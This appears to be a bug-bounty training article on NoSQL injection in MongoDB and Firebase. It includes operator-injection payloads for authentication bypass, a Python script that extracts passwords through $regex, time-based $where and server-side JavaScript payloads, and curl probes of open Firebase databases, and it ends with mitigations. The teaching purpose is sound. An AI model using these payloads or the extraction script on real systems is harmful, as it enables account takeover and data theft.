Intermediate levelFree

NoSQL Injection — MongoDB, Firebase and operator bypasses

How to inject into NoSQL queries: $ne/$gt/$regex in MongoDB, auth bypass, blind extraction and differences from classic SQLi.

Gorka El BochiMay 9, 202611 min

Quick answer

NoSQL injection (NoSQLi) happens when unsanitized inputs end up in NoSQL database queries. In MongoDB the most common vector is operator injection ($ne, $gt, $regex, $where) when the body accepts JSON and the code uses Model.find(req.body) directly. It allows auth bypass (finding at least one user without knowing a password), blind extraction via timing/regex, and sometimes RCE on old setups.


Context: why NoSQL is different

SQLi breaks the query syntax. NoSQLi replaces values with operators that the engine interprets differently.

Example in Express + Mongoose:

javascript
app.post('/login', async (req, res) => {
  const user = await User.findOne(req.body);  // ⚠️ pasa todo el body como filtro
  if (user) return res.json({ ok: true });
});

If the client sends:

json
{ "username": "admin", "password": { "$ne": "x" } }

The query becomes findOne({username: "admin", password: {$ne: "x"}}) → "find the admin whose password is not 'x'" → matches any admin with a password ≠ "x" → bypass.


Classic auth bypass

http
POST /login
Content-Type: application/json

{
  "username": { "$gt": "" },
  "password": { "$gt": "" }
}

$gt: "" matches any string. The query returns the first user in the collection — frequently admin if they're in creation order.

Variants to try if the first doesn't work:

json
{ "username": { "$ne": null }, "password": { "$ne": null } }
{ "username": { "$regex": ".*" }, "password": { "$regex": ".*" } }
{ "username": "admin", "password": { "$ne": "" } }
{ "username": "admin", "password": { "$regex": ".*" } }
{ "$where": "1==1" }

Blind extraction with $regex

When the app doesn't return data directly but confirms "login OK / KO":

json
{ "username": "admin", "password": { "$regex": "^a.*" } }

If it responds 200 → the password starts with "a". Iterate character by character to extract the full password. Without rate limiting, automatable in minutes.

python
import requests, string

password = ""
charset = string.ascii_letters + string.digits + string.punctuation

while len(password) < 50:
    for c in charset:
        prefix = password + c
        r = requests.post("https://target.tld/login", json={
            "username": "admin",
            "password": {"$regex": f"^{prefix}"}
        })
        if r.status_code == 200:
            password += c
            print(f"Found: {password}")
            break
    else:
        break  # No char matches → password completo

print(f"Final: {password}")

Time-based blind with $where

If the app doesn't return different status codes but runs $where with JS code:

json
{
  "$where": "function() { if (this.username == 'admin' && this.password.match(/^a/)) sleep(5000); return true; }"
}

Measure the response latency to detect a match. Useful when the responses are identical (silent server). Requires $where enabled (disabled on MongoDB Atlas and modern configs).


Injection in GET endpoints (URL params)

When the backend converts query strings into operators:

bash
GET /users?username[$ne]=&password[$ne]=

Express with qs or extended body-parser automatically converts username[$ne]= into { username: { $ne: "" } }. If the code passes req.query directly to find(), the same bypass as the body.

Some frameworks (default Express qs in modern versions) no longer parse deep. Verify with:

ruby
?username[$ne]=admin
?username[%24ne]=admin   (URL-encoded)

Useful operators for NoSQLi

OperatorUse
$eqExplicit equality
$neNot equal (matches almost everything)
$gtGreater than ("" matches all strings)
$ltLess than
$inIs in array
$regexRegex match (blind extraction)
$existsField exists (true) or not (false)
$whereArbitrary JS (disabled in modern configs)
$exprAggregation expression (more powerful)
$orMultiple conditions

Other engines

Firebase Realtime Database / Firestore

Firebase rules are the first line of defense. If the rules are read: true, write: true (the default in quickstarts), the database is completely open.

bash
# Test con HTTP REST
curl https://target.firebaseio.com/.json
curl https://target.firebaseio.com/users.json

What is usually "injected" in Firebase is direct access to paths that shouldn't be readable. It's not classic injection — it's broken access control in the rules.

CouchDB / Cassandra

Similar patterns when queries are built dynamically with client input. Less common in bug bounty than MongoDB.


SSJI (Server-Side JavaScript Injection)

If the app uses Mongo $where with dynamically built JS code:

javascript
const code = `function() { return this.tag == "${userInput}"; }`;
db.collection.find({ $where: code });

By injecting "; while(true){}; var x=", the resulting JS enters a busy-loop → DoS. With process.exit(), it kills the worker. With require('child_process').exec("...") in some old contexts → RCE.


Hunting checklist

  • Does the endpoint accept a JSON body? Try { "username": { "$ne": null }, "password": { "$ne": null } }.
  • Does the endpoint accept query strings? Try ?username[$ne]=.
  • Does the framework parse [$op] automatically? Test with a clearly wrong field.
  • Does the response change if the injection "matches"? → direct bypass.
  • Visually the same response but different timing? → blind via $regex + sleep.
  • Is $where enabled? Try JS injection.
  • Public Firebase URL without rules? curl https://<project>.firebaseio.com/.json.
  • Admin endpoints with filter-based search? A frequent vector.

Correct mitigation

  1. Whitelist of expected fields. Don't User.find(req.body) directly — extract only { username, password } explicitly.
  2. Validate the type. Make sure username and password are strings, not objects.
  3. Specific sanitizers (mongo-sanitize for Express).
  4. Schemas with strict types (Mongoose with type: String, required: true).
  5. Disable $where in production.

Practice auth bypass with $ne, blind extraction with $regex, and NoSQLi in GET params: NoSQL Injection labs.

Practice this in a lab

Nosql Injection

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy